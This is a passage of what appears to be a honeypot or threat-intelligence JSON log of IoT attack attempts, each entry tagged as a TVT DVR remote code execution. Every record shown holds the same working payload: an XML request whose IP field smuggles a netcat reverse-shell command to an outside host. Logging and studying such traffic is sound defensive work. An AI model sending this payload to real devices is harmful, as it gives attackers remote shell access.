  9602.       "source_ip_address": "201.213.123.127",
  9603.       "country": "AR",
  9604.       "user_agent": "Help",
  9605.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9606.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9607.       "target_port": 8080,
  9608.       "protocol": "tcp",
  9609.       "tags": [
  9610.         {
  9611.           "cve": "",
  9612.           "category": "IoT",
  9613.           "description": "TVT (Generic OEM) DVR RCE"
  9614.         }
  9615.       ],
  9616.       "event_count": 1,
  9617.       "first_seen": "2019-12-19T21:17:53Z",
  9618.       "last_seen": "2019-12-19T21:17:53Z"
  9619.     },
  9620.     {
  9621.       "source_ip_address": "124.82.19.163",
  9622.       "country": "MY",
  9623.       "user_agent": "Help",
  9624.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9625.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9626.       "target_port": 88,
  9627.       "protocol": "tcp",
  9628.       "tags": [
  9629.         {
  9630.           "cve": "",
  9631.           "category": "IoT",
  9632.           "description": "TVT (Generic OEM) DVR RCE"
  9633.         }
  9634.       ],
  9635.       "event_count": 1,
  9636.       "first_seen": "2019-12-19T20:37:29Z",
  9637.       "last_seen": "2019-12-19T20:37:29Z"
  9638.     },
  9639.     {
  9640.       "source_ip_address": "209.76.187.110",
  9641.       "country": "US",
  9642.       "user_agent": "Help",
  9643.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9644.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9645.       "target_port": 8000,
  9646.       "protocol": "tcp",
  9647.       "tags": [
  9648.         {
  9649.           "cve": "",
  9650.           "category": "IoT",
  9651.           "description": "TVT (Generic OEM) DVR RCE"
  9652.         }
  9653.       ],
  9654.       "event_count": 1,
  9655.       "first_seen": "2019-12-19T20:34:26Z",
  9656.       "last_seen": "2019-12-19T20:34:26Z"
  9657.     },
  9658.     {
  9659.       "source_ip_address": "99.48.176.109",
  9660.       "country": "US",
  9661.       "user_agent": "Help",
  9662.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9663.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9664.       "target_port": 88,
  9665.       "protocol": "tcp",
  9666.       "tags": [
  9667.         {
  9668.           "cve": "",
  9669.           "category": "IoT",
  9670.           "description": "TVT (Generic OEM) DVR RCE"
  9671.         }
  9672.       ],
  9673.       "event_count": 22,
  9674.       "first_seen": "2019-12-19T20:32:22Z",
  9675.       "last_seen": "2019-12-19T20:32:22Z"
  9676.     },
  9677.     {
  9678.       "source_ip_address": "94.27.197.218",
  9679.       "country": "HU",
  9680.       "user_agent": "Help",
  9681.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9682.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9683.       "target_port": 8000,
  9684.       "protocol": "tcp",
  9685.       "tags": [
  9686.         {
  9687.           "cve": "",
  9688.           "category": "IoT",
  9689.           "description": "TVT (Generic OEM) DVR RCE"
  9690.         }
  9691.       ],
  9692.       "event_count": 1,
  9693.       "first_seen": "2019-12-19T20:31:25Z",
  9694.       "last_seen": "2019-12-19T20:31:25Z"
  9695.     },
  9696.     {
  9697.       "source_ip_address": "189.249.108.90",
  9698.       "country": "MX",
  9699.       "user_agent": "Help",
  9700.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9701.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9702.       "target_port": 8000,
  9703.       "protocol": "tcp",
  9704.       "tags": [
  9705.         {
  9706.           "cve": "",
  9707.           "category": "IoT",
  9708.           "description": "TVT (Generic OEM) DVR RCE"
  9709.         }
  9710.       ],
  9711.       "event_count": 1,
  9712.       "first_seen": "2019-12-19T20:25:03Z",
  9713.       "last_seen": "2019-12-19T20:25:03Z"
  9714.     },
  9715.     {
  9716.       "source_ip_address": "111.185.59.4",
  9717.       "country": "TW",
  9718.       "user_agent": "Help",
  9719.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9720.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9721.       "target_port": 81,
  9722.       "protocol": "tcp",
  9723.       "tags": [
  9724.         {
  9725.           "cve": "",
  9726.           "category": "IoT",
  9727.           "description": "TVT (Generic OEM) DVR RCE"
  9728.         }
  9729.       ],
  9730.       "event_count": 1,
  9731.       "first_seen": "2019-12-19T20:23:20Z",
  9732.       "last_seen": "2019-12-19T20:23:20Z"
  9733.     },
  9734.     {
  9735.       "source_ip_address": "122.116.232.61",
  9736.       "country": "TW",
  9737.       "user_agent": "Help",
  9738.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9739.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9740.       "target_port": 8000,
  9741.       "protocol": "tcp",
  9742.       "tags": [
  9743.         {
  9744.           "cve": "",
  9745.           "category": "IoT",
  9746.           "description": "TVT (Generic OEM) DVR RCE"
  9747.         }
  9748.       ],
  9749.       "event_count": 25,
  9750.       "first_seen": "2019-12-19T20:07:16Z",
  9751.       "last_seen": "2019-12-19T20:07:16Z"
  9752.     },
  9753.     {
  9754.       "source_ip_address": "125.134.69.157",
  9755.       "country": "KR",
  9756.       "user_agent": "Help",
  9757.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9758.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9759.       "target_port": 80,
  9760.       "protocol": "tcp",
  9761.       "tags": [
  9762.         {
  9763.           "cve": "",
  9764.           "category": "IoT",
  9765.           "description": "TVT (Generic OEM) DVR RCE"
  9766.         }
  9767.       ],
  9768.       "event_count": 1,
  9769.       "first_seen": "2019-12-19T19:48:28Z",
  9770.       "last_seen": "2019-12-19T19:48:28Z"
  9771.     },
  9772.     {
  9773.       "source_ip_address": "151.31.8.203",
  9774.       "country": "IT",
  9775.       "user_agent": "Help",
  9776.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9777.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9778.       "target_port": 8080,
  9779.       "protocol": "tcp",
  9780.       "tags": [
  9781.         {
  9782.           "cve": "",
  9783.           "category": "IoT",
  9784.           "description": "TVT (Generic OEM) DVR RCE"
  9785.         }
  9786.       ],
  9787.       "event_count": 1,
  9788.       "first_seen": "2019-12-19T19:47:13Z",
  9789.       "last_seen": "2019-12-19T19:47:13Z"
  9790.     },
  9791.     {
  9792.       "source_ip_address": "118.70.72.102",
  9793.       "country": "VN",
  9794.       "user_agent": "Help",
  9795.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9796.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9797.       "target_port": 80,
  9798.       "protocol": "tcp",
  9799.       "tags": [
  9800.         {
  9801.           "cve": "",
  9802.           "category": "IoT",
  9803.           "description": "TVT (Generic OEM) DVR RCE"
  9804.         }
  9805.       ],
  9806.       "event_count": 1,
  9807.       "first_seen": "2019-12-19T19:41:51Z",
  9808.       "last_seen": "2019-12-19T19:41:51Z"
  9809.     },
  9810.     {
  9811.       "source_ip_address": "72.27.220.115",
  9812.       "country": "JM",
  9813.       "user_agent": "Help",
  9814.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9815.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9816.       "target_port": 88,
  9817.       "protocol": "tcp",
  9818.       "tags": [
  9819.         {
  9820.           "cve": "",
  9821.           "category": "IoT",
  9822.           "description": "TVT (Generic OEM) DVR RCE"
  9823.         }
  9824.       ],
  9825.       "event_count": 1,
  9826.       "first_seen": "2019-12-19T19:25:36Z",
  9827.       "last_seen": "2019-12-19T19:25:36Z"
  9828.     },
  9829.     {
  9830.       "source_ip_address": "82.79.56.56",
  9831.       "country": "RO",
  9832.       "user_agent": "Help",
  9833.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9834.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9835.       "target_port": 8080,
  9836.       "protocol": "tcp",
  9837.       "tags": [
  9838.         {
  9839.           "cve": "",
  9840.           "category": "IoT",
  9841.           "description": "TVT (Generic OEM) DVR RCE"
  9842.         }
  9843.       ],
  9844.       "event_count": 1,
  9845.       "first_seen": "2019-12-19T18:15:58Z",
  9846.       "last_seen": "2019-12-19T18:15:58Z"
  9847.     },
  9848.     {
  9849.       "source_ip_address": "184.147.153.236",
  9850.       "country": "CA",
  9851.       "user_agent": "Help",
  9852.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9853.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9854.       "target_port": 81,
  9855.       "protocol": "tcp",
  9856.       "tags": [
  9857.         {
  9858.           "cve": "",
  9859.           "category": "IoT",
  9860.           "description": "TVT (Generic OEM) DVR RCE"
  9861.         }
  9862.       ],
  9863.       "event_count": 39,
  9864.       "first_seen": "2019-12-19T17:50:12Z",
  9865.       "last_seen": "2019-12-19T17:50:12Z"
  9866.     },
  9867.     {
  9868.       "source_ip_address": "84.43.207.55",
  9869.       "country": "BG",
  9870.       "user_agent": "Help",
  9871.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9872.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9873.       "target_port": 81,
  9874.       "protocol": "tcp",
  9875.       "tags": [
  9876.         {
  9877.           "cve": "",
  9878.           "category": "IoT",
  9879.           "description": "TVT (Generic OEM) DVR RCE"
  9880.         }
  9881.       ],
  9882.       "event_count": 42,
  9883.       "first_seen": "2019-12-19T17:13:37Z",
  9884.       "last_seen": "2019-12-19T17:13:37Z"
  9885.     },
  9886.     {
  9887.       "source_ip_address": "80.229.113.112",
  9888.       "country": "GB",
  9889.       "user_agent": "Help",
  9890.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9891.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9892.       "target_port": 81,
  9893.       "protocol": "tcp",
  9894.       "tags": [
  9895.         {
  9896.           "cve": "",
  9897.           "category": "IoT",
  9898.           "description": "TVT (Generic OEM) DVR RCE"
  9899.         }
  9900.       ],
  9901.       "event_count": 3,
  9902.       "first_seen": "2019-12-19T17:08:16Z",
  9903.       "last_seen": "2019-12-19T17:08:16Z"
  9904.     },
  9905.     {
  9906.       "source_ip_address": "98.119.140.65",
  9907.       "country": "US",
  9908.       "user_agent": "Help",
  9909.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9910.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9911.       "target_port": 8080,
  9912.       "protocol": "tcp",
  9913.       "tags": [
  9914.         {
  9915.           "cve": "",
  9916.           "category": "IoT",
  9917.           "description": "TVT (Generic OEM) DVR RCE"
  9918.         }
  9919.       ],
  9920.       "event_count": 4,
  9921.       "first_seen": "2019-12-18T23:25:39Z",
  9922.       "last_seen": "2019-12-19T16:49:08Z"
  9923.     },
  9924.     {
  9925.       "source_ip_address": "198.233.119.179",
  9926.       "country": "US",
  9927.       "user_agent": "Help",
  9928.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9929.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9930.       "target_port": 80,
  9931.       "protocol": "tcp",
  9932.       "tags": [
  9933.         {
  9934.           "cve": "",
  9935.           "category": "IoT",
  9936.           "description": "TVT (Generic OEM) DVR RCE"
  9937.         }
  9938.       ],
  9939.       "event_count": 1,
  9940.       "first_seen": "2019-12-19T16:32:34Z",
  9941.       "last_seen": "2019-12-19T16:32:34Z"
  9942.     },
  9943.     {
  9944.       "source_ip_address": "213.163.116.127",
  9945.       "country": "AL",
  9946.       "user_agent": "Help",
  9947.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9948.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9949.       "target_port": 81,
  9950.       "protocol": "tcp",
  9951.       "tags": [
  9952.         {
  9953.           "cve": "",
  9954.           "category": "IoT",
  9955.           "description": "TVT (Generic OEM) DVR RCE"
  9956.         }
  9957.       ],
  9958.       "event_count": 1,
  9959.       "first_seen": "2019-12-19T16:28:10Z",
  9960.       "last_seen": "2019-12-19T16:28:10Z"
  9961.     },
  9962.     {
  9963.       "source_ip_address": "77.139.17.171",
  9964.       "country": "IL",
  9965.       "user_agent": "Help",
  9966.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9967.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9968.       "target_port": 88,
  9969.       "protocol": "tcp",
  9970.       "tags": [
  9971.         {
  9972.           "cve": "",
  9973.           "category": "IoT",
  9974.           "description": "TVT (Generic OEM) DVR RCE"
  9975.         }
  9976.       ],
  9977.       "event_count": 1,
  9978.       "first_seen": "2019-12-19T16:06:36Z",
  9979.       "last_seen": "2019-12-19T16:06:36Z"
  9980.     },
  9981.     {
  9982.       "source_ip_address": "108.35.228.124",
  9983.       "country": "US",
  9984.       "user_agent": "Help",
  9985.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  9986.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  9987.       "target_port": 8080,
  9988.       "protocol": "tcp",
  9989.       "tags": [
  9990.         {
  9991.           "cve": "",
  9992.           "category": "IoT",
  9993.           "description": "TVT (Generic OEM) DVR RCE"
  9994.         }
  9995.       ],
  9996.       "event_count": 3,
  9997.       "first_seen": "2019-12-19T15:58:56Z",
  9998.       "last_seen": "2019-12-19T15:58:56Z"
  9999.     },
  10000.     {
  10001.       "source_ip_address": "122.116.247.59",
  10002.       "country": "TW",
  10003.       "user_agent": "Help",
  10004.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10005.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10006.       "target_port": 80,
  10007.       "protocol": "tcp",
  10008.       "tags": [
  10009.         {
  10010.           "cve": "",
  10011.           "category": "IoT",
  10012.           "description": "TVT (Generic OEM) DVR RCE"
  10013.         }
  10014.       ],
  10015.       "event_count": 1,
  10016.       "first_seen": "2019-12-19T14:53:07Z",
  10017.       "last_seen": "2019-12-19T14:53:07Z"
  10018.     },
  10019.     {
  10020.       "source_ip_address": "184.3.0.34",
  10021.       "country": "US",
  10022.       "user_agent": "Help",
  10023.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10024.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10025.       "target_port": 80,
  10026.       "protocol": "tcp",
  10027.       "tags": [
  10028.         {
  10029.           "cve": "",
  10030.           "category": "IoT",
  10031.           "description": "TVT (Generic OEM) DVR RCE"
  10032.         }
  10033.       ],
  10034.       "event_count": 1,
  10035.       "first_seen": "2019-12-19T14:45:13Z",
  10036.       "last_seen": "2019-12-19T14:45:13Z"
  10037.     },
  10038.     {
  10039.       "source_ip_address": "71.42.201.68",
  10040.       "country": "US",
  10041.       "user_agent": "Help",
  10042.       "payload": "POST /editBlackAndWhiteList HTTP/1.1",
  10043.       "post_data": "\"<?xml version=\\x221.0\\x22 encoding=\\x22utf-8\\x22?><request version=\\x221.0\\x22 systemType=\\x22NVMS-9000\\x22 clientType=\\x22WEB\\x22><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type=\\x22filterTypeMode\\x22>refuse</filterType><filterList type=\\x22list\\x22><itemType><addressType type=\\x22addressType\\x22/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(nc${IFS}185.61.137.172${IFS}31330${IFS}-e${IFS}$SHELL&)</ip></item></filterList></content></request>\"",
  10044.       "target_port": 81,
  10045.       "protocol": "tcp",
  10046.       "tags": [
  10047.         {
  10048.           "cve": "",
  10049.           "category": "IoT",
  10050.           "description": "TVT (Generic OEM) DVR RCE"
  10051.         }
  10052.       ],
  10053.       "event_count": 1,
  10054.       "first_seen": "2019-12-19T14:37:20Z",
  10055.       "last_seen": "2019-12-19T14:37:20Z"
  10056.     },
  10057.     {
